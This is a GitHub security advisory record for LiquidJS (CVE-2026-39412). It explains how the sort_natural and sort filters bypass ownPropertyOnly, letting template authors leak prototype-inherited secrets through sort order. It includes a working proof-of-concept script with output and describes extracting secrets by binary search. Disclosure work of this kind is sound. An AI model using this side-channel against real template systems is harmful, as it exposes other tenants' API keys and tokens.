{"id":"GHSA-rv5g-f82m-qrvv","summary":"LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel","details":"### Summary\n\nThe `sort_natural` filter bypasses the `ownPropertyOnly` security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on `ownPropertyOnly: true` as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.\n\n### Details\n\nIn `src/filters/array.ts`, the `sort_natural` function (lines 40-48) accesses object properties using direct bracket notation (`lhs[propertyString]`), which traverses the JavaScript prototype chain:\n\n```typescript\nexport function sort_natural\u003cT\u003e (this: FilterImpl, input: T[], property?: string) {\n  const propertyString = stringify(property)\n  const compare = property === undefined\n    ? caseInsensitiveCompare\n    : (lhs: T, rhs: T) =\u003e caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])\n  const array = toArray(input)\n  this.context.memoryLimit.use(array.length)\n  return [...array].sort(compare)\n}\n```\n\nIn contrast, the correct approach used elsewhere in the codebase goes through `readJSProperty` in `src/context/context.ts`, which checks `hasOwnProperty` when `ownPropertyOnly` is enabled:\n\n```typescript\nexport function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {\n  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined\n  return obj[key]\n}\n```\n\nThe `sort_natural` filter bypasses this check entirely. The `sort` filter (lines 26-38 in the same file) has the same issue.\n\n### PoC\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\nasync function main() {\n  const engine = new Liquid({ ownPropertyOnly: true });\n\n  // Object with prototype-inherited secret\n  function UserModel() {}\n  UserModel.prototype.apiKey = 'sk-1234-secret-token';\n\n  const target = new UserModel();\n  target.name = 'target';\n\n  const probe_a = { name: 'probe_a', apiKey: 'aaa' };\n  const probe_z = { name: 'probe_z', apiKey: 'zzz' };\n\n  // Direct access: correctly blocked by ownPropertyOnly\n  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });\n  console.log('Direct access:', JSON.stringify(r1));  // \"\" (blocked)\n\n  // map filter: correctly blocked\n  const r2 = await engine.parseAndRender('{{ users | map: \"apiKey\" }}', { users: [target] });\n  console.log('Map filter:', JSON.stringify(r2));  // \"\" (blocked)\n\n  // sort_natural: BYPASSES ownPropertyOnly\n  const r3 = await engine.parseAndRender(\n    '{% assign sorted = users | sort_natural: \"apiKey\" %}{% for u in sorted %}{{ u.name }},{% endfor %}',\n    { users: [probe_z, target, probe_a] }\n  );\n  console.log('sort_natural order:', r3);\n  // Output: \"probe_a,target,probe_z,\"\n  // If apiKey were blocked: original order \"probe_z,target,probe_a,\"\n  // Actual: sorted by apiKey value (aaa \u003c sk-1234-secret-token \u003c zzz)\n}\n\nmain();\n```\n\n**Result:**\n```\nDirect access: \"\"\nMap filter: \"\"\nsort_natural order: probe_a,target,probe_z,\n```\n\nThe sorted order reveals that the target's prototype `apiKey` falls between \"aaa\" and \"zzz\". By using more precise probe values, the full secret can be extracted character-by-character through binary search.\n\n### Impact\n\nInformation disclosure vulnerability. Any application using LiquidJS with `ownPropertyOnly: true` (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the `sort_natural` or `sort` filters, bypassing the security control that is supposed to prevent prototype property access.","aliases":["CVE-2026-39412"],"modified":"2026-09-10T03:51:03.225634128Z","published":"2026-04-08T15:04:39Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-08T15:04:39Z","nvd_published_at":"2026-04-08T20:16:25Z","cwe_ids":["CWE-200"]},"references":[{"type":"WEB","url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39412"},{"type":"WEB","url":"https://github.com/harttle/liquidjs/pull/869"},{"type":"WEB","url":"https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce"},{"type":"PACKAGE","url":"https://github.com/harttle/liquidjs"},{"type":"WEB","url":"https://github.com/harttle/liquidjs/releases/tag/v10.25.4"}],"affected":[{"package":{"name":"liquidjs","ecosystem":"npm","purl":"pkg:npm/liquidjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.25.4"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 10.25.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-rv5g-f82m-qrvv/GHSA-rv5g-f82m-qrvv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}